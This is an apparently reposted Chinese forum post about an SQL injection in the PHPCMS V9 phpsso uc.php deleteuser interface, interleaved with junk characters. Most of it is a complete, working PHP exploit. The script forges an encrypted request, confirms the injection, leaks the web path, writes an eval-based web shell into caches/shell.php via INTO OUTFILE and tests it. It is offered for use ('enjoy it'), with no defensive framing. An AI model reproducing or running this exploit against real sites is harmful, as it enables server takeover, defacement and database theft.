PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。3 L' R) S" |: A3 e
5 W& S. B {% `' p2 S/ a6 t所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。% s* H( ^3 M' H# h
, N: P7 K1 l+ W, g* q7 }# s6 u
漏洞分析:4 S& {% L, d0 F) q ~6 ]. \# }
1.未启用ucenter服务的情况下uc_key为空
$ H. h4 I4 g9 Gdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
8 q) b9 @9 |0 d3 s7 w! }2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。+ O2 L" p$ B T9 l2 G9 o7 Q
public function deleteuser($get,$post) {
5 r" }; F3 l) R5 n, ^ pc_base::load_app_func('global', 'admin');1 _/ Y8 y0 m- K$ Z+ b8 w h2 G# q: c7 |% P
pc_base::load_app_class('messagequeue', 'admin' , 0);
9 x/ k: L) i8 Z# a $ids = new_stripslashes($get['ids']);5 ?4 Z0 t4 k+ K Z9 r3 r& O
$s = $this->member_db->select("ucuserid in ($ids)", "uid");3 j8 ^3 u6 F5 _; b7 y
SQL语句为+ s! l& l% K; ?6 |9 r6 B
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
: @) a' w5 {% u# A# L7 m9 \: i( ^4 I( q3 r# p+ }! Z+ ^$ ?( o7 o
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
) t2 l3 T4 P% H! `: {<?php
) F) k. D6 j0 }. aprint_r('8 @/ f6 N, b/ F" m; t
---------------------------------------------------------------------------
7 `7 B* H' _2 r7 SPHPcms (v9 or Old Version) uc api sql injection 0day
$ O, m) G% E, g1 X* Oby rayh4c#80sec.com
: @2 F; ^7 l! ?+ x( }, u; b3 V' I* k---------------------------------------------------------------------------& @: }( Q* @; R+ S2 k+ a, \8 h
');) X/ \3 L* A) `. Q5 E. w
0 M6 ~! }& I: `! Gif ($argc<3) {
! K9 ]2 C9 A! c, I4 r; w print_r('' G/ M- |0 _% [$ E/ p1 g8 J6 C
---------------------------------------------------------------------------
* m+ g" W4 T5 A+ f' [. h3 U& BUsage: php '.$argv[0].' host path OPTIONS0 j8 h7 g! P$ Z3 @& ]+ g
host: target server (ip/hostname)
6 N, v8 E( o' S) }3 xpath: path to phpcms) C$ K7 ^1 B5 \$ @
Options:
6 c- R8 K7 J0 p& H0 r5 S% D5 s" g -p[port]: specify a port other than 806 K/ l9 V2 C# s, B [1 F, W0 k
-P[ip:port]: specify a proxy
$ W G. j& ~5 F2 P$ fExample:6 B& k, w- S4 r4 B; O- l7 Y
php '.$argv[0].' localhost /6 e1 W1 g, g% Q; g; D- Y
php '.$argv[0].' localhost /phpcms/ -p81
8 K' m. S; V9 w3 x; f$ G6 Tphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80, W% P8 `7 L+ f& f* g, n7 H
---------------------------------------------------------------------------: I) e0 \( @% ?) S. r" a" R
');
2 H9 v' b: j$ d) N6 n die;
( m7 W) @9 l; _& k6 ^9 \}$ R! k* ~7 G$ c
7 K$ x: U3 |/ y3 g- ^) B. O \
error_reporting(7);" n8 c" v* E) R
ini_set("max_execution_time",0);
, n1 ^+ X! O0 \+ r7 {ini_set("default_socket_timeout",5);. i: e0 x5 P5 O" D4 D7 L
; D: w, S9 \9 @' ?, ~$ j1 H. }
function quick_dump($string)( \& _3 U* }' t% Y
{9 ~4 l4 ]+ I- l# |+ \
$result='';$exa='';$cont=0;4 g- `' d$ z6 h
for ($i=0; $i<=strlen($string)-1; $i++)- I$ I0 W" x1 j; a- C6 ]
{
9 R4 n/ @& t0 C4 _- ?6 j8 @ if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))* w ]1 T( k/ m/ t; g/ y
{$result.=" .";}3 s) u, \8 v9 B+ \
else
: o! y" k: w1 N0 @3 y {$result.=" ".$string[$i];}
/ v) a1 K4 r( K$ W/ T if (strlen(dechex(ord($string[$i])))==2)
" G! Z4 M: g0 |" u5 I0 t7 B {$exa.=" ".dechex(ord($string[$i]));}" J% B8 x: q* _* W h0 b
else
. ?- T9 j( O6 y4 D; _9 Q {$exa.=" 0".dechex(ord($string[$i]));}
2 j ^2 `0 }, l. ^7 o9 [- d $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 ]" V) X/ Q/ K
}
+ a7 N4 _7 g/ l& m6 ] S7 P* o return $exa."\r\n".$result;3 i( f$ W" X7 ?& @$ t2 W" A0 ]1 D
}
4 X* J/ z& H9 O9 r1 V4 U, C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
5 O) `8 q- Y E/ }* c2 `4 m" V* s; S! [% S# H+ d& a
function send($packet)! s! J! ], {8 v2 [$ Y
{7 D; B* L/ l" Y
global $proxy, $host, $port, $html, $proxy_regex;
6 }* w! a {/ Z; A8 h if ($proxy=='') {
2 Z2 {) v6 n0 I $ock=fsockopen(gethostbyname($host),$port);* _& `' v' H' i( Q
if (!$ock) {& u9 W; k1 F: x7 @5 [- n
echo 'No response from '.$host.':'.$port; die;
) R6 g: Z2 N' F* q }- @6 G7 G. J2 j' P8 ^$ o% U3 T
}1 A& g4 ~) ^- T
else {
! Y i+ P, a+ l- [0 N4 `. { $c = preg_match($proxy_regex,$proxy);- m0 z' V2 D* |" f- M/ \9 n' c j
if (!$c) {
6 u" K, V$ x( p0 p echo 'Not a valid proxy...';die;. X/ d: K2 v/ S* d8 J6 W" |: o
}
- X4 d2 j! W" j7 m $parts=explode(':',$proxy);
+ }( `3 F, E4 q+ C5 y' L7 L $parts[1]=(int)$parts[1];5 R) B6 k: o, h0 W2 A/ t3 U
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";3 A2 A2 B4 |- P D O; R
$ock=fsockopen($parts[0],$parts[1]);
0 k! p5 k" ?4 O if (!$ock) {. ?5 e7 W/ e0 J- `8 T
echo 'No response from proxy...';die;( N- y1 R6 @) l( U( c
}
% L+ Z' a" i4 o! @3 I* n }- e8 y7 N' I: H* k8 M
fputs($ock,$packet);+ r$ g* H) @, N+ `3 {( W! L
if ($proxy=='') {
7 p4 V- Y+ c# z $html='';& S3 Q4 L) _5 j+ }/ _/ K. p$ P
while (!feof($ock)) {' f8 g# k9 C( d; L/ ]; {
$html.=fgets($ock);+ Q% u7 B* B U
}
# o, i, L, v" G0 d2 H) I( m. U }' e( A, b5 M( A' W
else {
* B) }, x4 @, Z) F( {/ w0 J- q $html='';
: |7 V8 c2 W6 d0 l7 E' F9 S0 A while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {, t# U% z' G8 V
$html.=fread($ock,1);0 a! v- \# w- Y$ x$ u& L7 t0 ~/ t
}
0 ?3 u4 v% R2 Y+ I: K! Y }
1 D% K2 L9 z" F) E fclose($ock);+ k3 K1 C5 S# F! T m9 K" { |
}
7 c) k; E& ?3 _2 ~5 g+ r
7 c. o/ o }( j- C6 M8 c$host=$argv[1];
9 S, u! q) v6 j* d8 x! ~$path=$argv[2];, D [6 K. ]. Q1 d5 @" z0 X
$port=80;4 j+ W( G; W' d4 Z2 V" }4 q: s
$proxy="";
7 k, }: f+ G. \3 p: P2 W, f0 nfor ($i=3; $i<$argc; $i++){0 _, [! T9 z3 s" N0 _
$temp=$argv[$i][0].$argv[$i][1];
5 g+ F- ?: F# W8 iif ($temp=="-p")
' F. o$ t9 _5 ~( ~{
1 t# D' \( H2 H X( a+ L& J# T $port=(int)str_replace("-p","",$argv[$i]);
7 ~) s# k; u! x$ m! ]& N}- x; N! X0 t8 n: r* }
if ($temp=="-P")
3 Z# ~( j9 P- h$ _# K& n) L& ]{& d7 B7 X J& Y1 F% y7 |! ]0 |
$proxy=str_replace("-P","",$argv[$i]);$ ~) @7 w7 g# k7 {- U
}+ p$ l+ x: `. I9 t
}: L, w2 C- G' Q! S+ Y- |6 E* p. `
( @, w4 ?- ?8 y7 U5 ]( x/ a& Uif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}2 X1 e/ T+ w+ A) `& o
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}' Y1 u, f1 @+ m, d# y3 q* ^$ ]
6 W& o$ F+ Q2 |; efunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
( \% X. `0 J: `/ n8 r6 G- m$ F
% ?2 N. h; W0 o $ckey_length = 4;
+ t" f; I' T V, T7 R8 ~5 K
- F! m9 W. |4 u6 d, ~) C+ Q $key = md5($key ? $key : '');7 e) j6 r0 E- f4 C- A/ f
$keya = md5(substr($key, 0, 16));, I4 {6 d- Y7 e* {$ v4 v
$keyb = md5(substr($key, 16, 16));/ Q6 e3 X- ]% i
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';) B6 _2 a3 S4 W3 `& q7 {
+ `7 w" t# U1 I' \$ |
$cryptkey = $keya.md5($keya.$keyc);; N" M) y" `& J1 K4 c9 f$ G
$key_length = strlen($cryptkey);2 D" G+ o& J$ |; _5 r, Y
- Q% T( _$ q4 z/ }3 g $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;2 u$ y p7 N9 r% T3 n: q& w& f
$string_length = strlen($string);# N0 g$ [1 A8 w
% |7 |+ B) n3 l
$result = '';
2 \2 Y5 }* q2 u3 s) x! W $box = range(0, 255);
: C. h8 r- v9 S3 `3 k4 ~! Z. o0 |3 G- i {0 F3 q1 W
$rndkey = array();+ J' x' C+ F' t0 [9 }1 L3 a
for($i = 0; $i <= 255; $i++) {
4 ~' }, A1 \# R# R $rndkey[$i] = ord($cryptkey[$i % $key_length]);
$ K' m) _: z0 Q4 l7 _) v }; t0 m' M' z) u& f! P% V
. m: \2 [5 i) X% C' W' g
for($j = $i = 0; $i < 256; $i++) {
7 Y! M3 B* S. L! \, }& `& t8 A: _ $j = ($j + $box[$i] + $rndkey[$i]) % 256;
: N5 K: p3 K4 b/ ~7 H0 F $tmp = $box[$i];' g9 T6 S6 S) j% z
$box[$i] = $box[$j];
0 c6 w0 x$ K& H. ~" a+ U6 s $box[$j] = $tmp;
9 X( T1 }3 a) g }
: F* m4 u. Z$ l, U6 Y# B& V& w" M7 R! n3 j9 [
for($a = $j = $i = 0; $i < $string_length; $i++) {1 ?) N& t4 r' o
$a = ($a + 1) % 256;
% u% M( x7 g$ y- K; T; J $j = ($j + $box[$a]) % 256;
7 \7 |9 _+ C" ] $tmp = $box[$a];! @( |0 P8 M( D. Z6 q! ^ I% `3 \
$box[$a] = $box[$j];
9 ^7 a9 N; i/ B8 p4 K6 Z $box[$j] = $tmp;
+ X6 Y" E0 t& [ $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
6 I* Q. R- G' Z! a% z7 C8 X/ Q }
" X9 V& D+ V- O5 n2 L8 ?- {* Z( T5 o* U/ j' P, g
if($operation == 'DECODE') {
9 k+ @* H- d6 X1 m" N4 s2 K \ ]* O if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 Z) _* [9 O& e, l- L/ E
return substr($result, 26);
; }+ @' R) p; n1 q" D } else {
$ s) Q: _: O u# J. \; p( P6 | return '';
8 P* Z$ f# s2 A0 V' w }8 E( L6 R- o9 ^- n3 ?
} else {
" \7 b) M- X n$ V: G$ i& H return $keyc.str_replace('=', '', base64_encode($result));
5 Q4 S- s3 A' `+ D }
1 J" ?5 k8 G+ U: x
9 A2 j. K, e2 v/ h/ A* ?' M) W* N}
8 D5 Q, l, j) J6 @5 m' A$ P5 F5 O& J: N& W
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
& H. c0 O9 |; L) M+ f$SQL = urlencode(authcode($SQL, "ENCODE", ""));
4 R" K% f' j) W! C7 W" l9 A- m' mecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- h4 C3 H3 {3 _% ^3 [' E
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! z1 D a: c2 N3 J# \$packet.="User-Agent: Mozilla/5.0\r\n";& S( s( U, x* X' q
$packet.="Host: ".$host."\r\n";0 X7 J. Q L' [. a" L0 S/ N
$packet.="Connection: Close\r\n\r\n";9 }" @, p9 g" ^. N/ l4 h
send($packet);8 j" e6 B/ o: O* R3 X
if(strpos($html,"MySQL Errno") > 0){
. H. P+ Z# c& Recho "[2] 发现存在SQL注入漏洞"."\n";
* o" S* n- I; p7 {- Uecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
5 x$ j9 p0 z f/ A, H0 h( \% Z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
) g+ S# A1 y$ H {& r$packet.="User-Agent: Mozilla/5.0\r\n";4 V; u2 |, y& _
$packet.="Host: ".$host."\r\n";# {* [: }4 U" J u
$packet.="Connection: Close\r\n\r\n";* O4 O+ n% R4 ?5 Y4 y
send($packet);
c. L. x* R) Q Xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);) Q6 a. d+ B2 {( M( n
//print_r($matches);
$ l5 {* l! @. b9 K7 _if(!empty($matches)){
" P% L) r+ [8 V: f6 g! ?4 ?& becho "[4] 得到web路径 " . $matches[0]."\n";
; a, j b e. e7 }echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
& t7 |# h' Y$ |7 R0 C) ^$SQL = "time=999999999999999999999999&ids=1)";
, l$ [* c+ D3 R3 i4 ?8 V( ]. u* m2 q1 r$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' e$ `- p& `0 O& `- g$SQL.="&action=deleteuser";1 e' W/ Z+ ~0 q4 e; t9 v
$SQL = urlencode(authcode($SQL, "ENCODE", ""));( h* D D( L3 I J" |' N7 r
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ {. i& W' @* j5 H- ^( j1 M
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! E: \$ H7 A R$packet.="User-Agent: Mozilla/5.0\r\n";
+ ^; I; j# M+ P5 \: R$packet.="Host: ".$host."\r\n";
1 f X! M- C6 g! I# z# |& L& n# c$packet.="Connection: Close\r\n\r\n";6 d. J! h5 L7 v. e! J( O4 @% M4 l! }
send($packet);
6 J) Y1 f; _3 l$ l; eif(strpos($html,"Access denied") > 0){
( a) e! M) c8 ~9 q. `4 C, |echo "[-] MYSQL权限过低 禁止写入文件 ";
1 ?+ Q V7 z0 J- Idie; K1 o ]) u' q% i
}# _7 |8 r! M. L9 i$ A6 X' O) [
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
. J$ s! {. Q0 `9 V0 `6 H9 c$ z2 E: y7 J$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
5 X) W; o) d4 A/ O5 o$packet.="User-Agent: Mozilla/5.0\r\n";
6 ]6 n7 L7 p; x* [3 e) F$packet.="Host: ".$host."\r\n";: Y# s) L& o9 l
$packet.="Connection: Close\r\n\r\n";
+ w4 t/ w- D% c+ a! f) J) vsend($packet);% Y" I# \1 Y: y- A4 w' W
if(strpos($html,"<title>phpinfo()</title>") > 0){
4 L @! H1 v2 {; s k @ Secho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";: }2 Y+ |4 L! r; f0 W
}
2 ~/ Z& |# c/ h. i/ b5 @8 m( F# K}else{2 o: X6 _4 u6 K( @0 w4 ~
echo "[-]未取到web路径 ";
( q: e; i. \ T}* D8 C9 A/ j1 f: B2 K, U- t4 s
}else{% C6 ^; W, D) U. Y: R
echo "[*]不存在SQL注入漏洞"."\n";4 [8 N& g. j$ [
}: e8 U; s: C& w6 F
& V5 [# P6 R3 r8 Y& P
?>
. k0 R# X; Q" A3 J; W, ~ |